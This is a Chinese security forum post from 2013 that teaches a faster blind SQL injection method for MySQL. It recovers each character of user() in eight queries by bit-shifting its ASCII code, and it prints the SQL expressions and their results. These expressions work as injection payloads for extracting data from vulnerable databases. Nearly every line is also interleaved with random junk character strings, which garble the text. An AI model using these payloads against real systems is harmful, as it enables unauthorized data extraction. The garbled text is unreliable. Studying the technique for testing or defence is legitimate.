找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2059|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
( N' D% T+ G( E& e8 [7 N
6 _" I' O0 v5 B& G$ H  j
: b3 }" g) w" q% n
8 \- z4 J  b4 f" a, G下面将以查询mysql数据库当中user()的第一位为例:+ i6 Q; {0 V# p
" v+ S. o# C5 K3 T7 y6 E) v+ `
, E4 v8 `6 \! T) ~) _8 ~) p
! D  P# k% A; p
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
( q$ }% ~% H" i7 ], d$ m4 E' }6 k, M: O2 g3 `$ o

+ O2 ~+ @) D% r. u. T
8 C8 k, [5 f9 z5 T  i首先执行如下sql语句:3 d" u' K( w, M# i, l  a( {2 W5 p- h
& A- z  U" Z- x' g+ B+ T" N* d+ `2 u
% c5 c$ \0 N3 J' M( _0 b
' `9 F& C5 X$ E+ ~
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;8 D4 @0 j6 @# n: R7 f% Y" Q

0 x+ ~* @) [& |$ k8 I
/ t( Z( i# Y3 p9 G+ u* b( p
7 \% f3 Y4 s  m; ]; `我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的+ g% a7 [. N. N" y

$ `# f# {% E( Q, `" [, f
( g3 Y- O7 Q% I7 `/ c. z; E
5 e+ x- |( M+ [1 Q; `- M9 ^2 N第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! ~: b: W' S1 f: ?6 i& M# o( i

: j4 B, P9 y" f7 d% K8 d1 ^1 b. C' j4 E: `" U9 F
如果运算结果为1,说明第一位为0,不为1
" i. t6 H0 M/ l% ]3 N, N- o* ]8 d' ?$ R8 o; R. u
% W6 p5 z; n# N$ H; g7 y

& N7 v' ?: @4 K5 L+————————————–+
; m* |- g' ~& l; y8 l2 U1 ~7 \4 y! n& C: d
| (ascii((substr(user(),1,1))) >> 7)=0 |
3 h6 B& u2 S" u: P* q4 Q
$ ?4 d7 G2 j/ g& i, C# S7 S+————————————–+7 T1 Y6 c- @% ~& A6 F
9 N" f; k7 u# G: B# T
| 1 |
- v" c( h9 ^. Y9 u1 x; ~+ v1 Z! c
7 k# v: e" ]0 s) i) d+————————————–+
( P9 _5 a  m/ l2 g7 J3 ~+ I" K. {* z" f/ ^0 B" u! ^$ y9 Z! Q
1 row in set (0.00 sec)
# Q' J5 e* o/ O2 q8 d
9 }( o7 B( e4 C" i* ~这样我们就确定这个8bit的ascii的第一位为01 D! ^& H$ H% i* i. q2 m! m5 E/ Y
6 m1 Q7 z! K% l/ G/ O
0 Z5 R1 C! ^7 ~
: u. L( j: F1 u: h" v
第二次我们来做6次右偏移来确定前两位4 z9 @$ G% S7 G& P4 E2 `
: U/ a, m& G% o0 @8 i, z# _

7 v' r, u( K/ x, G' F% Y& T( q. O) S. d3 e
前两位可能是01或00,即依然可以与0做比较,4 ]( H7 n4 I! y6 x: c- \
1 e  {; \7 |$ }' K5 ]2 x1 }/ W! |' Z) k
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
" u, _# j: r; B5 M8 ], n
- C$ _3 ~4 ]! e7 i+ z+————————————–+  Q* }" I0 X" E6 [) \4 x( h
' D/ K) ?# `& f* H+ k. Y3 b- P
| (ascii((substr(user(),1,1))) >> 6)=0 |
2 S4 f' R$ ^- o, S) o, f! H( `
1 P' `8 N7 [7 g2 J+————————————–+$ k9 {9 o- T0 M& V4 Y0 \$ t7 B

" v/ W0 _2 e5 s& f2 d1 i| 0 |$ Y$ D- g% ~% ^0 c
& ^7 Z8 S" V6 Z. @- W' h
+————————————–+0 W6 ?8 Q& r3 W* r: @7 I
2 h* C+ e5 i: f6 M$ ^2 U
1 row in set (0.00 sec)0 [) m6 j" @& l: z

! T! T3 `) [1 x  Z1 T
# g- J. z( ~5 H3 c4 e4 d
6 w% c: F" z- b! n7 ?结果为0,即第二位为1, f' T" S& |: u; m
/ _0 z1 ~0 t4 p4 \

; m0 |0 A; D; ]
( H, I. U% ]5 P% S+ S3 x; k. r开始猜测前三位为010或011$ A  X6 G3 v" j% M
1 a, `" o- D9 I/ E3 ^3 Z! T9 [
3 A% B! H/ x  ^; w+ L- |
) h% G- N2 ?$ ^4 r# \) d- x
让我们看看010和011的ascii码是多少- v% l3 d; Z0 V' R$ r* M( y! c( S

9 `8 @) X9 t. f; F# v5 m/ A # L0 r+ u3 y. R1 S: \+ Z
. ~% r6 W/ g5 f/ o; [/ l2 [( X
分别查询select b’011′ select b’010′2 @5 N7 G; S7 o" [
- ^# E5 o. ^8 v. W: u" `' R

$ E- U1 H: ^3 T* n
. u6 K4 F# ~( r获得结果 010 = 2 011 = 3
. J( v/ H7 b) O, c6 T" t! b
0 K) D3 }  N9 K4 b# Q. O( c8 x ) ?% Q  R, r/ x

0 p- u4 y+ ~) Q+ ?, G; O9 z% B执行如下sql:
2 D2 U6 ~5 m4 Q" l, K* X; `8 ]% R+ x+ m+ ~" l3 \! o. P; @6 v

$ l3 L; {$ f* x* f, v- ]5 E( A, T  ?6 E7 _. q, _
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;4 c7 r# p; W5 I1 `+ ~- L
6 B8 o" t) ?* X; A. E8 }& H2 h
+————————————–+" r; v$ M. z! }6 I. m+ ~% P# s) `
4 p: W  Q/ g- `8 f6 U
| (ascii((substr(user(),1,1))) >> 5)=2 |! Y9 M7 }4 m. E/ e6 ~
+ g1 I; Z* g/ d4 _( I% N. J- z" L
+————————————–+
, \7 u3 u9 u( ]' ~9 T/ |; z7 n! C1 o" y
| 0 |9 A9 H9 l8 Q4 Q' ]9 j' J5 G! }% `

) j/ I0 R! s5 e& }! X" T+————————————–+
0 H( y1 _6 e/ H# ~: L, S% ^
# }2 P/ p6 m3 [) c即前三位不为010,而是011+ e7 B" _+ b1 X- V- d* L; C/ }" C
; K8 B) u3 Q4 J! G) q
( C% |: \6 P- ~. q! {1 l, ?* v# {
0 ^! |5 N  s' ~$ C8 Z. o* Z
直到获得最后一位
/ q- D8 @% v) {- `" V( f1 b1 k( S5 P2 E7 B' G4 a* C5 i

8 B6 V) m. `% x: M% e& @( I6 ^* Y5 z/ T8 J& E: x9 x
最终结果为:01110010$ [4 n) L8 I+ k+ h4 T+ a
- Q$ z0 m$ b" _& ]- D

/ F& S( n8 [8 T8 i- A0 M& [' e8 V3 g- S2 |" U
转换一下:0 W/ Y" R' m4 l8 t7 X

  ]& W, j: _4 `( ]8 S2 c" b) y, u8 |& U
, ~& C$ Y' y* o( O0 R
0 T! P! ^$ l6 K; w* ?select b’01110010′
6 }) P# k' I8 Y* t% r' |9 M3 W: d1 v2 J! v) F+ ]
) g9 \- u$ J: L' b5 m
* w# m/ b% m! R" X) ~
查询结果( Q1 a6 t; `4 O4 @$ E  ^
- q- Y: E5 |4 _; I6 Q  n6 p
5 _8 M9 h1 \, e9 H
2 |" r! |3 T  ^2 C0 @
+————-+) J8 }& ?) D  ?6 Y# d) s6 O
; S; S# [. t2 F
| b’01110010′ |
3 G& n' _. E. j/ f5 l1 r" R/ J1 l, W. e
+————-+8 K9 X3 g4 G* _$ s. Z$ G$ L

$ Z9 n# F8 V( U! W- ]| r |( B7 ^* K$ s" K

1 M* f9 w& r5 [. N+————-+
& w% S( I+ W% W; d9 T! G
( @# B5 d* S: h5 c. ?& }1 row in set (0.00 sec)
7 T0 B4 j/ W( `. p( W' j& B0 e
) n" |+ [0 z- G* B6 |- i7 Y 1 Z" O3 H0 f; W. n5 W2 E
! {0 t/ V" }/ W0 h
这样我们就获得了user()的第一位.其它位依此类推5 w7 R) c0 ]5 J7 h0 r9 p5 _" s

5 u3 t+ X) E! u# N6 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表